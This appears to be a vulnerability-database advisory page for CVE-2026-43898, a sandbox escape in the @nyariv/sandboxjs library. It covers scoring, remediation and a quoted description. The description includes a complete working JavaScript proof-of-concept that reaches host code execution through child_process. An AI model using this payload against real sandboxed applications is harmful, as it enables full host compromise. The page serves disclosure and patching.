Skip to main content

SandboxJS EUVDEUVD-2026-32968

| CVE-2026-43898 CRITICAL
Code Injection (CWE-94)
2026-05-11 https://github.com/nyariv/SandboxJS GHSA-g8f2-4f4f-5jqw
10.0
CVSS 3.1 · Vendor: https://github.com/nyariv/SandboxJS
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Submit malicious script to sandbox
  2. Delivery
    Read Function.caller to leak LispType.Call op
  3. Exploit
    Invoke call op with forged params
  4. Execution
    Leak blocked host statics and rebuild Function constructor
  5. Persist
    Execute host JS via child_process
  6. Impact
    Achieve host RCE

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the host application actually evaluate attacker-controlled JavaScript through @nyariv/sandboxjs (via sand.compile(payload)().run() or equivalent) - the escape runs entirely from inside the sandboxed script, so no host authentication is needed once code reaches the sandbox. The specific enabling condition is the CommonJS build of the library, where sandboxed code can read Function.caller (and the caller/callee/arguments reflective properties) on a sandbox-defined function to recover the internal LispType.Call op; the LispType.Call handler then accepts forged params without authenticating their origin. The primary limiting factor is deployment: the target must run untrusted or semi-trusted scripts through this library and be on version <= 0.9.5 - applications that only execute their own trusted code, or that have upgraded to 0.9.6+, are not exposed.

Impact

The signals are mixed and worth separating. The CVSS 3.1 vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H yields 10.0 and reflects worst-case impact: full host RCE with a scope change from sandbox to host. However, the vector's AV:N/PR:N framing describes reachability of the sandbox, not internet-facing exploitation - real risk depends entirely on whether an application feeds attacker-controlled scripts into SandboxJS, which is exactly what the library exists to do. A working PoC is public in the GHSA advisory, so exploitation is low-effort and reliable once attacker code reaches the sandbox. Against that, EPSS is only 0.05% (15th percentile) and the CVE is NOT in CISA KEV, so there is no public exploit identified at time of analysis as actively exploited in the wild. Net assessment: this is a genuine critical-severity, real-priority issue for any deployment that runs untrusted or semi-trusted scripts through @nyariv/sandboxjs <= 0.9.5, and it should be patched promptly; the low EPSS reflects the library's limited deployment footprint and recency, not weak exploitability.

Exploit ScenarioDerived

An application uses @nyariv/sandboxjs to run user-supplied scripts (for example plugin logic or a formula/expression evaluator) believing they are safely isolated. An attacker submits a script that defines a function, reads its .caller to capture the internal LispType.Call op, forges params to leak Object.getPrototypeOf/defineProperty/getOwnPropertyDescriptor, rebuilds the host Function constructor, and calls process.getBuiltinModule('child_process').execSync('whoami'). A copy-paste PoC exists in the public advisory, making this reliable and requiring no host credentials once the script is accepted.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 23, 2026

Sandbox escape leading to remote code execution in @nyariv/sandboxjs (a JavaScript-in-JavaScript sandbox library) versions <= 0.9.5 allows sandboxed code to break out and run arbitrary host JavaScript. By reading Function.caller on a sandbox-defined function, attacker-controlled code recovers the privileged internal LispType.Call op and invokes it with forged operands to leak blocked host statics, rebuild the real Function constructor, and execute host code (e.g. child_process.execSync). CVSS is 10.0 and a working proof-of-concept is published in the GHSA advisory, but this is no public exploit identified as actively exploited - EPSS is only 0.05% (15th percentile), consistent with a newly disclosed library bug rather than mass exploitation.

RemediationAI

Vendor-released patch: 0.9.6 - upgrade @nyariv/sandboxjs to 0.9.6 or later, which is the primary and recommended fix (commit 826865251232611ec94078bab5a18ec875dad4a5). The fix adds an explicit block in src/executor/ops/prop.ts that throws a SandboxAccessError when sandboxed code attempts to access the 'caller', 'callee', or 'arguments' properties, cutting off the leak of the internal call op. If you cannot upgrade immediately, treat any script passed to SandboxJS as fully trusted host code and stop feeding untrusted or user-supplied input into sand.compile()/run(); where feasible, run the sandbox in an out-of-process or OS-level isolate (separate worker/container with dropped privileges and no child_process access) so a JS-level escape does not grant host command execution - the trade-off is added latency and IPC complexity. Avoid relying on the CommonJS build for untrusted input, since that is the build path noted in the advisory. Track the vendor advisory at https://github.com/nyariv/SandboxJS/security/advisories/GHSA-g8f2-4f4f-5jqw and the patch commit at https://github.com/nyariv/SandboxJS/commit/826865251232611ec94078bab5a18ec875dad4a5.

Affected VersionsENISA

sandboxjs < 0.9.6

Affected Packages

npm @nyariv/sandboxjs fix: 0.9.6
euvd sandboxjs fix: 0.9.6

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

SandboxJS compiles and evaluates untrusted JavaScript inside a host Node.js/browser process using an internal Lisp-like op interpreter; security depends on preventing sandboxed code from reaching real host constructors and blocked statics. The root cause (CWE-94, Improper Control of Generation of Code / code injection) is that createFunction() in src/executor/executorUtils.ts builds ordinary host JS functions, so in the CommonJS build sandboxed code can read the reflective caller/callee/arguments properties via the property-access op in src/executor/ops/prop.ts. Reading Function.caller leaks the internal LispType.Call callback registered in src/executor/ops/call.ts, which trusts a caller-supplied params object (obj.context, obj.prop, obj.get, context.evals.get, and a) without authenticating that those operands originated from the executor, enabling direct invocation of an internal primitive with forged arguments. The affected package is identified as pkg:npm/@nyariv_sandboxjs (npm @nyariv/sandboxjs).

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/nyariv/SandboxJS) PRIMARY 10.0 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
vuln.today AI 10.0 CRITICAL

Escape runs from within an untrusted script with no host auth (PR:N), is low-complexity given the public PoC (AC:L), and crosses the sandbox boundary into the host (S:C) for full RCE (C/I/A:H).

3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (https://github.com/nyariv/SandboxJS).

CVSS VectorVendor: https://github.com/nyariv/SandboxJS

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

Sandbox-defined functions expose Function.caller, allowing sandboxed code to recover the internal LispType.Call runtime callback. That callback can then be invoked with attacker-controlled fake context and obj values to extract blocked host statics, recover the real host Function constructor, and execute arbitrary host JavaScript.

Details

In executorUtils.ts createFunction() constructs normal host JS functions, and because these are ordinary host functions, sandbox code can observe:

js
function f(){ return f.caller }

That leaks the host-side callback that invoked the sandbox function. This leaked callback is the internal LispType.Call op, which is registered in call.ts. The leaked callback accepts a params object from the attacker and uses its fields without any authentication checks. if you looked at those branches call.ts:47, call.ts:70, call.ts:149. This means the attacker controls obj.context, obj.prop, obj.get, context.evals.get and a. This can lead to direct invocation of an internal primitive with forged operands

PoC

js
const sandb = require('@nyariv/sandboxjs').default;
const sand = new sandb();

const payload = `
const callOp = (function fn() { return fn.caller; })();

function makeContext(capture = () => {}) {
  return { ctx: { options: 0 }, evals: { get: capture } };
}

function leakStatic(obj, prop) {
  let leaked;
  callOp({
    done() {},
    a() {},
    b: [],
    obj: { context: obj, prop, get() {} },
    context: makeContext((fn) => (leaked = fn, () => 1))
  });
  return leaked;
}

function callDirect(fn, args) {
  let value;
  callOp({
    done(_, result) { value = result; },
    a() {},
    b: args,
    obj: fn,
    context: makeContext()
  });
  return value;
}

callDirect(leakStatic(Object, 'defineProperty'), [
  leakStatic,
  'call',
  callDirect(leakStatic(Object, 'getOwnPropertyDescriptor'), [
    callDirect(leakStatic(Object, 'getPrototypeOf'), [() => 0]),
    'constructor'
  ])
]);

let hostFn;
callOp({
  done(_, result) { hostFn = result; },
  a: leakStatic,
  b: [],
  obj: {
    context: 'return process.getBuiltinModule("child_process").execSync("whoami").toString()',
    get() {}
  },
  context: makeContext()
});

return hostFn();
`;

console.log(sand.compile(payload)().run());

Impact

_Sandbox escape leads to RCE_

Executive ViewAI

Why It Matters

Organizations using @nyariv/sandboxjs versions 0.9.5 and earlier face critical risk of complete remote code execution through a sandbox escape vulnerability. An attacker with the ability to inject code into the sandbox can bypass all execution isolation and gain arbitrary access to the host system, potentially compromising application data and infrastructure. Immediate patching is required for all affected deployments.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.0%
Top 85% exploitable
Prevalence
Low
niche npm JS sandbox library, limited production deployment footprint
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +50
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy